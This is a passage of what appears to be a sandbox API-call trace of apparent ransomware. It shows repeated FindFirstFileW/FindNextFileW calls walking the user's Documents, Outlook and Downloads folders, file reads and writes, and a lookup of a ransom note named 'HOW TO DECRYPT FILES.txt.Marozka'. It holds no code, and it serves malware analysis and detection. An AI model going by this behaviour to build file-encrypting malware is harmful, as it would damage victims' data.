lpFindFileData=0x19df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1a0f60e, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1a0f60e, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vssx", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0093.150] FindNextFileW (in: hFindFile=0xfdb070, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0093.150] FindNextFileW (in: hFindFile=0xfdb070, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0093.151] FindClose (in: hFindFile=0xfdb070 | out: hFindFile=0xfdb070) returned 1 [0093.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1b8) returned 1 [0093.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1c4) returned 1 [0093.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e1fc) returned 1 [0093.151] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x19dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes", lpFilePart=0x0) returned 0x23 [0093.151] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\*", lpFindFileData=0x19df24 | out: lpFindFileData=0x19df24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb1f0 [0093.151] FindNextFileW (in: hFindFile=0xfdb1f0, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.152] FindNextFileW (in: hFindFile=0xfdb1f0, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.152] FindNextFileW (in: hFindFile=0xfdb1f0, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1a0f60e, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1a0f60e, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vssx", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0093.152] FindNextFileW (in: hFindFile=0xfdb1f0, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0093.152] FindNextFileW (in: hFindFile=0xfdb1f0, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.152] FindClose (in: hFindFile=0xfdb1f0 | out: hFindFile=0xfdb1f0) returned 1 [0093.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1b8) returned 1 [0093.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1c4) returned 1 [0093.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19df2c) returned 1 [0093.153] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x19d9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x2c [0093.153] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x19dc54 | out: lpFindFileData=0x19dc54*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdaff0 [0093.154] FindNextFileW (in: hFindFile=0xfdaff0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.154] FindNextFileW (in: hFindFile=0xfdaff0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0093.154] FindNextFileW (in: hFindFile=0xfdaff0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.154] FindClose (in: hFindFile=0xfdaff0 | out: hFindFile=0xfdaff0) returned 1 [0093.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dee8) returned 1 [0093.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19def4) returned 1 [0093.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19df2c) returned 1 [0093.154] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x19d9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x2c [0093.154] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x19dc54 | out: lpFindFileData=0x19dc54*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb330 [0093.155] FindNextFileW (in: hFindFile=0xfdb330, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.155] FindNextFileW (in: hFindFile=0xfdb330, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0093.155] FindNextFileW (in: hFindFile=0xfdb330, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0093.155] FindClose (in: hFindFile=0xfdb330 | out: hFindFile=0xfdb330) returned 1 [0093.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dee8) returned 1 [0093.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19def4) returned 1 [0093.156] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", nBufferLength=0x105, lpBuffer=0x19d850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", lpFilePart=0x0) returned 0x37 [0093.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dd94) returned 1 [0093.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0093.156] GetFileType (hFile=0x304) returned 0x1 [0093.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dd90) returned 1 [0093.156] GetFileType (hFile=0x304) returned 0x1 [0093.156] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19de90 | out: lpFileSizeHigh=0x19de90*=0x0) returned 0x74e6 [0093.156] ReadFile (in: hFile=0x304, lpBuffer=0x30e2140, nNumberOfBytesToRead=0x74e6, lpNumberOfBytesRead=0x19de3c, lpOverlapped=0x0 | out: lpBuffer=0x30e2140*, lpNumberOfBytesRead=0x19de3c*=0x74e6, lpOverlapped=0x0) returned 1 [0093.175] CloseHandle (hObject=0x304) returned 1 [0093.244] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d954, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0093.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19de08) returned 1 [0093.244] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19de84 | out: lpFileInformation=0x19de84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0093.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19de04) returned 1 [0093.244] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", nBufferLength=0x105, lpBuffer=0x19d83c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", lpFilePart=0x0) returned 0x37 [0093.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dd80) returned 1 [0093.245] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0093.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19c760) returned 1 [0093.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e1fc) returned 1 [0093.247] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x19dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0093.247] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Videos\\*", lpFindFileData=0x19df24 | out: lpFindFileData=0x19df24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0093.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1c0) returned 1 [0093.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e1fc) returned 1 [0093.248] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x19dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x27 [0093.248] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*", lpFindFileData=0x19df24 | out: lpFindFileData=0x19df24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdacf0 [0093.262] FindNextFileW (in: hFindFile=0xfdacf0, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.262] FindNextFileW (in: hFindFile=0xfdacf0, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddbf9d33, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 1 [0093.262] FindNextFileW (in: hFindFile=0xfdacf0, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.262] FindClose (in: hFindFile=0xfdacf0 | out: hFindFile=0xfdacf0) returned 1 [0093.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1b8) returned 1 [0093.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1c4) returned 1 [0093.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e1fc) returned 1 [0093.263] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x19dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x27 [0093.263] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*", lpFindFileData=0x19df24 | out: lpFindFileData=0x19df24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb3f0 [0093.263] FindNextFileW (in: hFindFile=0xfdb3f0, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.263] FindNextFileW (in: hFindFile=0xfdb3f0, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddbf9d33, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 1 [0093.263] FindNextFileW (in: hFindFile=0xfdb3f0, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddbf9d33, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 0 [0093.263] FindClose (in: hFindFile=0xfdb3f0 | out: hFindFile=0xfdb3f0) returned 1 [0093.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1b8) returned 1 [0093.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1c4) returned 1 [0093.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e4cc) returned 1 [0093.264] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads", nBufferLength=0x105, lpBuffer=0x19df80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Downloads", lpFilePart=0x0) returned 0x19 [0093.264] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*", lpFindFileData=0x19e1f4 | out: lpFindFileData=0x19e1f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb0f0 [0093.264] FindNextFileW (in: hFindFile=0xfdb0f0, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.264] FindNextFileW (in: hFindFile=0xfdb0f0, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.264] FindNextFileW (in: hFindFile=0xfdb0f0, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.265] FindClose (in: hFindFile=0xfdb0f0 | out: hFindFile=0xfdb0f0) returned 1 [0093.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e488) returned 1 [0093.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e494) returned 1 [0093.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e4cc) returned 1 [0093.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads", nBufferLength=0x105, lpBuffer=0x19df80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Downloads", lpFilePart=0x0) returned 0x19 [0093.265] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*", lpFindFileData=0x19e1f4 | out: lpFindFileData=0x19e1f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdaef0 [0093.265] FindNextFileW (in: hFindFile=0xfdaef0, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.265] FindNextFileW (in: hFindFile=0xfdaef0, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.266] FindNextFileW (in: hFindFile=0xfdaef0, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, 